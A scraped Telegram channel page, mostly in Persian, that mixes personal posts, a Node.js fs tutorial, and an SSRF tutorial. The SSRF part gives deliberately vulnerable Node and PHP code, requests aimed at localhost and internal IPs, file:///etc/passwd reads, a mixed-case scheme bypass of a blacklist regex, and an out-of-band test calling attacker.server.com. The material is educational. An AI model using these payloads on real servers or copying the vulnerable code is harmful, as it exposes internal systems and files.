/dev/null
Відкрити в Telegram
| دستمو گذاشتم رو این کار ، قلبمو گذاشتم. | هر new ای را delete ای ست و پس از آن null کردنی (:
Показати більше323
Підписники
Немає даних24 години
+37 днів
+230 день
Архів дописів
323
Repost from Bug Bounty Tools & Writeups | Hide Club
🔖Extract Endpoints for quickly locating bugs there via massive recon
⬇️Using Google Dorks
You can use this Google dork to find tons of exposed links, Endpoints and etc:
"site:example.com"⬇️Using Providers You can extract all internet endpoints using these 3 providers or you can use automated tools like 📱 Waymore: 🔴 alienvault 🔴 virustotal 🔴 webarchive 🖥 Related Write-Up: 🔗 Link #InfoSec #CyberSecurity #Hacking #BugBounty #bugbountyTools #bugbountytips #Pentest 🔹 Share & Support Us 🔹 📱 Channel : @Hide_Club
323
امشب خیلی رندوم یاد یکی از بچه های دبستان افتادم .
صب قبل مدرسه رفته بود دستشویی از بس زور زده بود چند تا مویرگ های چشمش پاره شده بود😔🤣
323
اینم واسه تستش
اگه هر کدوم رو تست کنین تویه همزمان اون it is interesting آخر همه ی لاگ ها چاپ میشه ولی اگه تویه ناهمزمان تست کنین اول از همه لاگ ها چاپ میشه
323
Synchronous :
const path = require('path')
const fs = require('fs');
const projec = path.join(__dirname, 'projects');
if (!fs.existsSync(projec)) {
try {
fs.mkdirSync(projec);
console.log('Directory created successfully.');
} catch (err) {
console.log('Error creating directory:', err);
}
} else {
console.log('Directory already exists.');
}
console.log('It is interesting');
Asynchronous :
const path = require('path')
const fs = require('fs');
const projects = path.join(__dirname , 'projects')
if (!fs.existsSync(projects)){
fs.mkdir(projects , (err)=>{
if (err){
console.log('Error creating directory:', err);
}
console.log(`add new directory be name projects`);
})
}
console.log('It is interesting');323
آقا داشتم درباره fs (file system) تویه node js میخوندم دیدم این بحث جالبیه 🦦❤️
کلا fs یه ماژول برای اجرا کردن دستورات سیستم عاملی هست .
میاد یه سری directory یا file درست میکنه ، حذف ، ویرایش و یا پسوند فایل میخونه و ...
حالا تویه node js دو نوع عملکرد واسه ماژول fs میتونه رخ بده :
عملکرد همزمان (Synchronous):
در این حالت، برنامه تا زمانی که عملیات I/O (مانند خواندن فایل) کامل نشود، متوقف میشود. به عنوان مثال، fs.readFileSync باعث میشود که برنامه منتظر بماند تا فایل خوانده شود و سپس به خط بعدی کد برود. این روش میتواند در اسکریپتهای ساده یا در مواقعی که نیاز به عملکرد سریع و بدون پیچیدگی دارید، مفید باشد.عملکرد ناهمزمان (Asynchronous):
در این حالت، برنامه میتواند به کار خود ادامه دهد در حالی که عملیات I/O در پسزمینه در حال انجام است. به عنوان مثال، fs.readFile به شما این امکان را میدهد که با استفاده از callback functions ، نتیجه را پس از اتمام عملیات دریافت کنید. این روش برای برنامههای سرور که نیاز به پردازش همزمان چندین درخواست دارند، بسیار مناسب است. ینی در این روش باعث میشه event loop مسدود نشه.حالا فرقشون چیه تویه پردازش و مدیریت خطا:
در متدهای همزمان، میتوانیم try-catch برای مدیریت خطاها استفاده کنیم. در متدهای ناهمزمان، خطاها معمولاً از طریق callbackها، Promiseها یا syntax async/await مدیریت میشوند
323
Repost from < CyberCesar />
اگه کسی از جنس مخالف ازت خوشش نیومد و بهت نه گفت و ردت کرد؛ درجا به خواستهاش و نظرش احترام بذار و محترمانه برو و دیگه پیدات نشه.
حداقل احترامش رو داری و با خودش میگه انسان بافهمی بود.
به این فکر کن که اگه کسی پیگیر و مزاحم خواهر خودت میشد و ولکن نبود چقدر بد بود. اینطوری میشه هنر "نه شنیدن" رو تمرین کرد و دید که اصلا چیز بدی نیست و طبیعیه.
323
میتونین تویه این کد یه سری regex ها مختلف بزنین حالا whitelist یا blacklist و ازش تست بگیرین🦦
323
const express = require('express');
const fs = require('fs');
const app = express();
const port = 8000;
const blacklistRegex = /^(file|gopher|dict|ftp|ssh|telnet):\/\//;
app.get('/readfile', (req, res) => {
const filePath = req.query.path;
if (!filePath) {
return res.status(400).send('no params');
}
if (blacklistRegex.test(filePath)) {
return res.status(403).send('Access forbidden');
}
fs.readFile(filePath, 'utf8', (error, data) => {
if (error) {
return res.status(404).send('File not found');
}
res.send(data);
});
});
app.listen(port, () => {
console.log(`http://localhost:${port}`);
});323
خب تویه بحث checker function ها
اول اصن واسه چی فیلتر میزارن ؟
فرض کنید برای موجودی گرفتن وارد یک درگاه بانکی میشوید خوب حالا برای نشان دادن موجودی شما یک درخواست از طرف وب سرور به سرور مرکزی که فرض کنید LocalHost هست درخواست میزند
( البته تویه سیستم بانک اینقدر ساده نیس ولی خوب )
حالا باید برای وب سرور یک سری چکر فانکشن ست شود که هر کلاینتی نتواند از طرف بانک به سرور مرکزی درخواست بزند ، در اصل کاری میکند که ما به هر جایی نتوانیم درخواست بزنیم.
حالا فیلتر ها رو دو جا استفاده میکنن :
1_ تویه Domain name
2_تویه protocol که درخواست رو باهاش ارسال میکنیم
تویه protocol ها : ( میتونن یه whitelist درست کنن)
^(http|https):\/\/[^\s\/$.?#].[^\s]*$
مثلا این regex میاد میگه فقط درخواست ها میتونن با HTTP یا HTTPS فرستاده بشن . مثلا این درخواست ها توش غیر مجاز هسن :
localhost/admin file:///etc/passwd https:// site.comبا regexpal برید خودتون چک کنین چرا کار نمیدن یا blacklist میتونه اینطوری باشه :
^(file|gopher|dict|ftp|ssh|telnet)://
file:// ---> block gopher:// --> block ...یا میتونه درخواست به یه سری ip ها رو بلاک کنه :
^(127\.|192\.168\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|169\.254\.)
خب حالا من میخوام تویه /etc/passswd رو ببینم که scheme اون هم file هس که اونم بلاکه ولی میشه اینطوری درخواست بزنیم :
FiLe:///etc/passwd
چون مرورگر به بزرگ و کوچک حروف حساس نیس و باید وب سرور قبل گرفتن url حروفش رو کوچیک کنه
let url = "FiLe:///etc/passwd";
url = url.toLowerCase();
console.log(url);323
خب تویه بحث checker function ها
اول اصن واسه چی فیلتر میزارن ؟
فرض کنید برای موجودی گرفتن وارد یک درگاه بانکی میشوید خوب حالا برای نشان دادن موجودی شما یک درخواست از طرف وب سرور به سرور مرکزی که فرض کنید LocalHost هست درخواست میزند
( البته تویه سیستم بانک اینقدر ساده نیس ولی خوب )
حالا باید برای وب سرور یک سری چکر فانکشن ست شود که هر کلاینتی نتواند از طرف بانک به سرور مرکزی درخواست بزند ، در اصل کاری میکند که ما به هر جایی نتوانیم درخواست بزنیم.
حالا فیلتر ها رو دو جا استفاده میکنن :
1_ تویه Domain name
2_تویه protocol که درخواست رو باهاش ارسال میکنیم
تویه protocol ها : ( میتونن یه whitelist درست کنن)
^(http|https):\/\/[^\s\/$.?#].[^\s]*$
مثلا این regex میاد میگه فقط درخواست ها میتونن با HTTP یا HTTPS فرستاده بشن . مثلا این درخواست ها توش غیر مجاز هسن :
localhost/admin file:///etc/passwd https:// site.comبا regexpal برید خودتون چک کنین چرا کار نمیدن یا blacklist میتونه اینطوری باشه :
^(file|gopher|dict|ftp|ssh|telnet)://
file:// ---> block gopher:// --> block ...یا میتونه درخواست به یه سری ip ها رو بلاک کنه :
^(127\.|192\.168\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|169\.254\.)
خب حالا من میخوام تویه /etc/passswd رو ببینم که scheme اون هم file هس که اونم بلاکه ولی میشه اینطوری درخواست بزنیم :
FiLe:///etc/passwd
چون مرورگر به بزرگ و کوچک حروف حساس نیس و باید وب سرور قبل گرفتن url حروفش رو کوچیک کنه
let url = "FiLe:///etc/passwd";
url = url.toLowerCase();
console.log(url);323
Day 28 of 30 Day — 30 Vulnerabilities | DOM-based XSS
Day 28 of 30 Day — 30 Vulnerabilities | DOM-based XSS
https://it4chis3c.medium.com/day-28-of-30-day-30-vulnerabilities-dom-based-xss-2527a06f3dbc
323
آقا بعضی جاها یا بعضی از scheme ها رو نمیشه استفاده کرد یا نمیشه از localhost استفاده کرد و یا اصطلاحا url رو میندازه ( همون url که میخوایم درخواست بهش زده بشه ) یه سری payload داره که بعدا میزارم 🦦❤️
323
Server Side Forgery : (SSRF)
آسیبپذیری امنیتی وب است که به کاربر اجازه میده تا برنامه سمت سرور را وادار کند تا درخواستهایی به مقصدهای دلخواهش ارسال کنه که میتونه سرور های داخلی سایت باشه یا یه سری سرور های خارج از شبکه که اطلاعات مهمی داخلش هس و دسترسی public ندارند .
حالا چه زمانی رخ میده ؟
وقتی که سایت به کاربر اجازه میده ورودی های ssrf رو تبدیل به درخواست های HTTP بکنن و در سمت سرور به عنوان به request پردازش میشه
با ssrf هم میشه یه سری data خواند و هم بعضی مواقع دستور اجرا کرد . ( پس کلا تویه ssrf میخوایم به منابعی که از بیرون دسترسی public ندارند دسترسی پیدا کنیم که میتونه localhost باشه یا ip خصوصی)
مثلا اگه یه سایت داشته باشیم و جایی برای نشان دادن باقی مانده یه محصول باشه: ( چون داره برای نشون دادن باقی مانده از اطلاعات و database سرور کمک میگیره )
اولش یه چنین request میره :
POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1که میتونیم به این request ها تغییرش بدیم :
POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://localhost/adminیا
POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://192.168.0.68/adminیه مثال از کد آسیب پذیر ( node js ) :
const express = require('express');
const axios = require('axios');
const app = express();
app.get('/fetch', async (req, res) => {
const url = req.query.url;
try {
const response = await axios.get(url);
res.send(response.data);
} catch (error) {
res.status(500).send('Error in fetch');
}
});
app.listen(3000, () => {
console.log('Server running on http://localhost:3000');
});
Send HTTP req to Servers:
http://localhost:3000/fetch?url=http://localhost:8000یا برای php :
<?php
if (isset($_GET['img'])){
$img = $_GET['img'] ;
$image = fopen($img , 'rb') ;
fpassthru($image) ;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SSRF TEST</title>
</head>
<body>
<img src='/?img=/your_directory_file'> </img>
</body>
</html>
http://localhost:8001/ssrf.php/?img=https://google.com
یا حتی میشه فایل خوند با scheme file :
http://localhost:8001/ssrf.php/?img=file:///etc/passwdبعضی وقتا هم هیچ response نداریم از طرف Server که میشه همون blind که تقریبا همه جا داشتیمش که یه روشش out-of-band هس ( یا با time هم میشه ):
http://localhost:8001/ssrf.php/?img=https://attacker.server.com:portکه از لاگ های سرور خودمون میشه فهمید ssrf داریم یا نه . #ssrf
Вже доступно! Дослідження Telegram за 2025 — головні інсайти року 
